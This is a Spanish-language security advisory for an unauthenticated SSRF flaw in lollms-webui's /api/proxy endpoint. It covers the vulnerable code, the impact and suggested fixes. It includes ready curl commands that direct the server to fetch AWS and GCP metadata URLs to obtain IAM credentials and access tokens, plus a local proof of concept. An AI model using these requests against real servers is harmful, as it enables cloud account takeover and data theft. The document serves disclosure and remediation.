
CVE-2026-33340: SSRF crítico en lollms-webui /api/proxy - Falsificación de solicitudes arbitrarias sin autenticación (CVSS 9.1)
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2026-33340 |
| Vulnerabilidad | Falsificación de solicitudes del lado del servidor (Server-Side Request Forgery, SSRF) |
| Producto afectado | ParisNeo/lollms-webui (LoLLMS WEBUI) |
| Gravedad | Crítica — CVSS 9.1 |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: Falsificación de solicitudes del lado del servidor (SSRF) |
| Componente afectado | lollms_core/lollms/server/endpoints/lollms_apps.py |
| Endpoint vulnerable | /api/proxy |
| Aviso | GHSA-mcwr-5469-pxj4 |
| NVD | Entrada NVD |
| SentinelOne | Análisis de SentinelOne |
| Descubierto por | Regaan R — ROT Independent Security Research Lab |
Se ha identificado una vulnerabilidad crítica de falsificación de solicitudes del lado del servidor (Server-Side Request Forgery, SSRF) en lollms-webui, la interfaz web de Lord of Large Language and Multi modal Systems. El endpoint @router.post("/api/proxy") permite a atacantes no autenticados obligar al servidor a realizar solicitudes GET arbitrarias. Esto puede explotarse para acceder a servicios internos, escanear redes locales o exfiltrar metadatos sensibles de la nube, como los tokens IAM de AWS/GCP.
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (Líneas 443-450)/api/proxyLa vulnerabilidad existe porque la función proxy en lollms_apps.py no implementa autenticación ni ninguna forma de validación de URL/dominio. Acepta una cadena URL sin procesar del usuario y la pasa directamente a un cliente HTTP asíncrono.
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) ni a ningún middleware de autenticación, lo que permite que cualquier usuario no autenticado lo invoque.httpx.AsyncClient().get() sin comprobar el destino contra una lista blanca ni bloquear rangos de IP privados/internos.{"content": response.text}, lo que permite la exfiltración total de datos.echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
El servidor obtuvo el archivo del servicio interno y devolvió su contenido al atacante.
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
| Escenario | Descripción |
|---|---|
| Robo de credenciales en la nube | Los atacantes en plataformas en la nube (AWS/GCP/Azure) pueden acceder a http://169.254.169.254/ para recuperar metadatos de instancia, credenciales IAM y tokens de acceso, lo que conduce al compromiso total de la cuenta en la nube. |
| Pivotación en la red interna | Los atacantes pueden sondear bases de datos internas, APIs, paneles de administración e interfaces de gestión no expuestas a Internet público. |
| Acceso a servicios en localhost | Los atacantes pueden alcanzar servicios vinculados a localhost (Redis, Elasticsearch, API de Docker, consolas de bases de datos) que confían implícitamente en el tráfico local. |
| Escaneo de puertos interno | El SSRF puede utilizarse para enumerar puertos abiertos y servicios en ejecución en la red interna observando los tiempos de respuesta y los mensajes de error. |
| Exfiltración de datos | Cualquier dato accesible por HTTP dentro del alcance de red del servidor puede leerse y devolverse al atacante. |
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]